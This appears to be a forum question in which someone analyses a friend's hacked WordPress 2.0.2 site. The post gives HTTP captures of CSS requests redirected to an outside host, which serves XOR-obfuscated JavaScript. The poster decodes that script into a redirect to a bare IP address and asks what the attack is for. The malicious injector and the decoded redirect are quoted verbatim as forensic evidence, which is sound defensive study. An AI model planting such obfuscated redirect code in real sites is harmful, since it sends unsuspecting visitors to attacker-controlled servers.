title: Forensic analysis of an actual hacked web site
body: <p>One of my friends has website running with Wordpress (note that is not a blog in Wordpress.com), and it has been hacked. He has to talk with the company that provided the site for restoring a backup, in the mean time. I'd like to know what has happened, because I'm trying to learn about web security and this is a good chance.</p>
  
  <p>The first thing I can note is that the web page appears without style even when there are CSS files referenced from the HTML. I try to navigate to one of those files, but I get redirected to a website named <strong>tonycar.com</strong> . </p>
  
  <p>The Wordpress version is 2.0.2, as I can see in the html <code>&lt;meta name="generator" content="WordPress 2.0.2" /&gt;</code></p>
  
  <p>So, it is like this :</p>
  
  <p><strong>Request to <a href="http://myfriendwebsite.net/" rel="nofollow">http://myfriendwebsite.net/</a>:</strong></p>
  
  <pre><code>GET http://myfriendwebsite.net/ HTTP/1.1
  Accept: text/html, application/xhtml+xml, */*
  Accept-Language: en-IE
  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
  Accept-Encoding: gzip, deflate
  Connection: Keep-Alive
  Host: myfriendwebsite.net
  </code></pre>
  
  <p><strong>Response:</strong></p>
  
  <pre><code>HTTP/1.1 200 OK
      Date: Mon, 20 Jun 2011 22:05:28 GMT
      Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
      X-Powered-By: PHP/5.2.17
      X-Pingback: http://www.myfriendwebsite.net/wordpress/xmlrpc.php
      Set-Cookie: bb2_screener_=1308607528+213.191.238.24; path=/
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Transfer-Encoding: chunked
      Content-Type: text/html; charset=UTF-8
  </code></pre>
  
  <p>The response contains the HTML code. Now the web site tries to get the CSS files, this is what happens with the first for example:</p>
  
  <p><strong>Request:</strong></p>
  
  <pre><code>GET http://www.myfriendwebsite.net/wordpress/wp-content/themes/myfriendwebsite/includes/core.css HTTP/1.1
  Accept: text/css
  Referer: http://myfriendwebsite.net/
  Accept-Language: en-IE
  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
  Accept-Encoding: gzip, deflate
  Host: www.myfriendwebsite.net
  Connection: Keep-Alive
  Cookie: bb2_screener_=1308607528+213.191.238.24 
  </code></pre>
  
  <p><strong>Response:</strong></p>
  
  <pre><code>HTTP/1.1 302 Found
      Date: Mon, 20 Jun 2011 22:05:29 GMT
      Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
      Location: http://tonycar.com/r/404.php?213.191.238.24
      Content-Length: 402
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: text/html; charset=iso-8859-1
  
      &lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
      &lt;html&gt;&lt;head&gt;
      &lt;title&gt;302 Found&lt;/title&gt;
      &lt;/head&gt;&lt;body&gt;
      &lt;h1&gt;Found&lt;/h1&gt;
      &lt;p&gt;The document has moved &lt;a href="http://tonycar.com/r/404.php?213.191.238.24"&gt;here&lt;/a&gt;.&lt;/p&gt;
      &lt;hr&gt;
      &lt;address&gt;Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.myfriendwebsite.net Port 80&lt;/address&gt;
      &lt;/body&gt;&lt;/html&gt;
  </code></pre>
  
  <p>That makes a redirection to <code>http://tonycar.com/r/404.php?213.191.238.24</code>, and this is what happens:</p>
  
  <p><strong>Request:</strong></p>
  
  <pre><code>GET http://tonycar.com/r/404.php?213.191.238.24 HTTP/1.1
  Accept: text/css
  Referer: http://myfriendwebsite.net/
  Accept-Language: en-IE
  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
  Accept-Encoding: gzip, deflate
  Host: tonycar.com
  Connection: Keep-Alive
  </code></pre>
  
  <p><strong>Response</strong></p>
  
  <pre><code>HTTP/1.1 302 Moved Temporarily
  Date: Mon, 20 Jun 2011 22:05:42 GMT
  Server: Apache
  Set-Cookie: xxx=xxx; expires=Mon, 20-Jun-2011 23:05:42 GMT
  Location: go.php?dd41dcd4bcb38e25c529f150f00ecf95
  Content-Length: 0
  Connection: close
  Content-Type: text/html
  </code></pre>
  
  <p>A new redirection and finally:</p>
  
  <p><strong>Request</strong></p>
  
  <pre><code>GET http://tonycar.com/r/go.php?dd41dcd4bcb38e25c529f150f00ecf95 HTTP/1.1
  Accept: text/css
  Referer: http://myfriendwebsite.net/
  Accept-Language: en-IE
  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
  Accept-Encoding: gzip, deflate
  Host: tonycar.com
  Connection: Keep-Alive
  </code></pre>
  
  <p><strong>Response</strong></p>
  
  <pre><code>HTTP/1.1 200 OK
      Date: Mon, 20 Jun 2011 22:05:44 GMT
      Server: Apache
      Connection: close
      Transfer-Encoding: chunked
      Content-Type: text/html
  
      2da
      &lt;script language=JavaScript&gt;HaSyJGVMNHBHlTVzQCrn1 = "=rbshqu!uxqd&lt;#udyu.k`w`rbshqu#?w`s!yyy&lt;#iuuq;..099/338/81/76.hoedy/qiq&gt;nbu0l&lt;GD1RkCgHj1`NhvxLBXxWSiPY'OV6D&lt;DVBWTJ@ycH1W[WBynVGSOS'6uj&lt;106IVBH'ix&lt;$3GY'nmQ&lt;D5$3CYmyWUTu4J2['JwR2&lt;Q1QFE7N00C8X1778NBXN9Q7B1E8'o3&lt;l5sYRW@SGmeNh@uD'twff&lt;$3CXDyfN2WJgj1KQmD5PmKJEUOx`o9@[f[1@2XNLUHvHf$2E$2E'07&lt;0[R3F893K60'[Wh&lt;BjHJh1rP@9tHDn#:enbtldou/mnb`uhno/isdg&lt;yyy:=.rbshqu?";PIIupfVDlgksHCrQJMcW2 = "";for (TdeFxzFOBwBRFKLvqgyb3 = 0; TdeFxzFOBwBRFKLvqgyb3 &lt; HaSyJGVMNHBHlTVzQCrn1.length; TdeFxzFOBwBRFKLvqgyb3 ++) { PIIupfVDlgksHCrQJMcW2 = PIIupfVDlgksHCrQJMcW2+ String.fromCharCode (HaSyJGVMNHBHlTVzQCrn1.charCodeAt (TdeFxzFOBwBRFKLvqgyb3) ^ 1); }; document.write (PIIupfVDlgksHCrQJMcW2);&lt;/script&gt;
      0
  </code></pre>
  
  <p>After a little bit of work, I find out that that evil javascript function is generate this and write it to the document:</p>
  
  <pre><code>&lt;script type="text/javascript"&gt;
  var xxx="http://188.229.90.67/index.php?oct1m=FE0SjBfIk0aOiwyMCYyVRhQX&amp;NW7E=EWCVUKAxbI0VZVCxoWFRNR&amp;7tk=017HWCI&amp;hy=%2FX&amp;olP=E4%2BXlxVTUt5K3Z&amp;KvS3=P0PGD6O11B9Y0669OCYO8P6C0D9&amp;n2=m4rXSVARFldOiAtE&amp;uvgg=%2BYExgO3VKfk0JPlE4QlJKDTNyan8AZgZ0A3YOMTIwIg%3D%3D&amp;16=1ZS2G982J71&amp;ZVi=CkIKi0sQA8uIEo";
  document.location.href=xxx;
  &lt;/script&gt;
  </code></pre>
  
  <p>Basically, it declares a String, and after it decodes it:</p>
  
  <pre><code>varA="crazy encoding string"
  varB = "";
  for (varC = 0; varC &lt; varA.length; varC ++) 
  { 
      varB = varB+ String.fromCharCode (varA.charCodeAt (varC) ^ 1); 
  }; 
  document.write(varB);
  </code></pre>
  
  <p>So again, a new redirection, but I cannot see that request on Fiddler I don't know why, maybe because IE9 doesn't understand that or what? :S I cannot decode those parameters of the query string, probably because those are the intended names and values (or not).</p>
  
  <p>What is the purpose of this hack? What are they trying to achieve?</p>
  
  <p>How has been this possible? I understand what is a XSS attack (direct, reflected and DOM based), but this has nothing to do with that. The server is returning a crafted response instead the CSS file required. The CSS files are supposed to be static files that the web server returns without the action of PHP or Wordpress, so?</p>